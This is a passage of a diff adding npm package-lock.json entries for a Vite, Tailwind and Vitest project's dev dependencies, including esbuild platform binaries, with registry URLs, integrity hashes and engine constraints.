"3.0.0", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "min-indent": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sucrase": { + "version": "3.35.1", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz", + "integrity": "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "tinyglobby": "^0.2.11", + "ts-interface-checker": "^0.1.9" + }, + "bin": { + "sucrase": "bin/sucrase", + "sucrase-node": "bin/sucrase-node" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", + "dev": true, + "license": "MIT" + }, + "node_modules/tagged-tag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/tagged-tag/-/tagged-tag-1.0.0.tgz", + "integrity": "sha512-yEFYrVhod+hdNyx7g5Bnkkb0G6si8HJurOoOEgC8B/O0uXLHlaey/65KRv6cuWBNhBgHKAROVpc7QyYqE5gFng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/tailwind-merge": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-2.6.1.tgz", + "integrity": "sha512-Oo6tHdpZsGpkKG88HJ8RR1rg/RdnEkQEfMoEk2x1XRI3F1AxeU+ijRXpiVUF4UbLfcxxRGw6TbUINKYdWVsQTQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/dcastil" + } + }, + "node_modules/tailwindcss": { + "version": "3.4.19", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz", + "integrity": "sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.6.0", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.3.2", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.21.7", + "lilconfig": "^3.1.3", + "micromatch": "^4.0.8", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.1.1", + "postcss": "^8.4.47", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.2 || ^5.0 || ^6.0", + "postcss-nested": "^6.2.0", + "postcss-selector-parser": "^6.1.2", + "resolve": "^1.22.8", + "sucrase": "^3.35.0" + }, + "bin": { + "tailwind": "lib/cli.js", + "tailwindcss": "lib/cli.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/test-exclude": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-7.0.2.tgz", + "integrity": "sha512-u9E6A+ZDYdp7a4WnarkXPZOx8Ilz46+kby6p1yZ8zsGTz9gYa6FIS7lj2oezzNKmtdyyJNNmmXDppga5GB7kSw==", + "dev": true, + "license": "ISC", + "dependencies": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^10.4.1", + "minimatch": "^10.2.2" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "any-promise": "^1.0.0" + } + }, + "node_modules/thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "license": "MIT", + "dependencies": { + "thenify": ">= 3.1.0 < 4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/tinybench": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", + "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinyexec": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-0.3.2.tgz", + "integrity": "sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinyglobby": { + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.4" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tinyglobby/node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/tinyglobby/node_modules/picomatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", + "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/tinypool": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/tinypool/-/tinypool-1.1.1.tgz", + "integrity": "sha512-Zba82s87IFq9A9XmjiX5uZA/ARWDrB03OHlq+Vw1fSdt0I+4/Kutwy8BP4Y/y/aORMo61FQ0vIb5j44vSo5Pkg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.0.0 || >=20.0.0" + } + }, + "node_modules/tinyrainbow": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-1.2.0.tgz", + "integrity": "sha512-weEDEq7Z5eTHPDh4xjX789+fHfF+P8boiFB+0vbWzpbnbsEr/GRaohi/uMKxg8RZMXnl1ItAi/IUHWMsjDV7kQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tinyspy": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/tinyspy/-/tinyspy-3.0.2.tgz", + "integrity": "sha512-n1cw8k1k0x4pgA2+9XrOkFydTerNcJ1zWCO5Nn9scWHTD+5tp8dghT2x1uduQePZTZgd3Tupf+x9BxJjeJi77Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tldts": { + "version": "6.1.86", + "resolved": "https://registry.npmjs.org/tldts/-/tldts-6.1.86.tgz", + "integrity": "sha512-WMi/OQ2axVTf/ykqCQgXiIct+mSQDFdH2fkwhPwgEwvJ1kSzZRiinb0zF2Xb8u4+OqPChmyI6MEu4EezNJz+FQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "tldts-core": "^6.1.86" + }, + "bin": { + "tldts": "bin/cli.js" + } + }, + "node_modules/tldts-core": { + "version": "6.1.86", + "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-6.1.86.tgz", + "integrity": "sha512-Je6p7pkk+KMzMv2XXKmAE3McmolOQFdxkKw0R8EYNr7sELW46JqnNeTX8ybPiQgvg1ymCoF8LXs5fzFaZvJPTA==", + "dev": true, + "license": "MIT" + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/tough-cookie": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-5.1.2.tgz", + "integrity": "sha512-FVDYdxtnj0G6Qm/DhNPSb8Ju59ULcup3tuJxkFb5K8Bv2pUXILbf0xZWU8PX8Ov19OXljbUyveOFwRMwkXzO+A==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "tldts": "^6.1.32" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/tr46": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", + "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==", + "dev": true, + "license": "MIT", + "dependencies": { + "punycode": "^2.3.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/type-fest": { + "version": "5.7.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-5.7.0.tgz", + "integrity": "sha512-1URUxUqfHFM1c+zfSPsa3gnkO7Aq21qyH75SIduNYz4SzY964rn1X2vCMQaHSHhktiw+0kPa2iyb6PUpXqB6Vg==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "dependencies": { + "tagged-tag": "^1.0.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/undici-types": { + "version": "7.24.6", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.24.6.tgz", + "integrity": "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg==", + "dev": true, + "license": "MIT" + }, + "node_modules/until-async": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/until-async/-/until-async-3.0.2.tgz", + "integrity": "sha512-IiSk4HlzAMqTUseHHe3VhIGyuFmN90zMTpD3Z3y8jeQbzLIq500MVM7Jq2vUAnTKAFPJrqwkzr6PoTcPhGcOiw==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/kettanaito" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true, + "license": "MIT" + }, + "node_modules/vite": { + "version": "6.4.3", + "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.3.tgz", + "integrity": "sha512-NTKlcQjlAK7MlQoyb6LgaqHc8sso/pVyUJYWMws3jg21uTJw/LddqIFPcPqP6PzpgbIcZyKI85sFE4HBrQDA8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.25.0", + "fdir": "^6.4.4", + "picomatch": "^4.0.2", + "postcss": "^8.5.3", + "rollup": "^4.34.9", + "tinyglobby": "^0.2.13" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || ^20.0.0 || >=22.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", + "jiti": ">=1.21.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/vite-node": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/vite-node/-/vite-node-2.1.9.tgz", + "integrity": "sha512-AM9aQ/IPrW/6ENLQg3AGY4K1N2TGZdR5e4gu/MmmR2xR3Ll1+dib+nook92g4TV3PXVyeyxdWwtaCAiUL0hMxA==", + "dev": true, + "license": "MIT", + "dependencies": { + "cac": "^6.7.14", + "debug": "^4.3.7", + "es-module-lexer": "^1.5.4", + "pathe": "^1.1.2", + "vite": "^5.0.0" + }, + "bin": { + "vite-node": "vite-node.mjs" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/vite-node/node_modules/@esbuild/aix-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz", + "integrity": "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/android-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.21.5.tgz", + "integrity": "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/android-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz", + "integrity": "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/android-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.21.5.tgz", + "integrity": "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/darwin-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz", + "integrity": "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/darwin-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz", + "integrity": "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/freebsd-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz", + "integrity": "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/freebsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz", + "integrity": "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/linux-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz", + "integrity": "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/linux-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz", + "integrity": "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/linux-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz", + "integrity": "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/linux-loong64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz", + "integrity": "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/linux-mips64el": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz", + "integrity": "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/linux-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz", + "integrity": "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/linux-riscv64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz", + "integrity": "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/linux-s390x": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz", + "integrity": "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/linux-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz", + "integrity": "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/netbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz", + "integrity": "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/openbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz", + "integrity": "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/sunos-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz", + "integrity": "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/win32-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz", + "integrity": "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/win32-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz", + "integrity": "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/@esbuild/win32-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz", + "integrity": "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite-node/node_modules/esbuild": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.21.5.tgz", + "integrity": "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.21.5", + "@esbuild/android-arm": "0.21.5", + 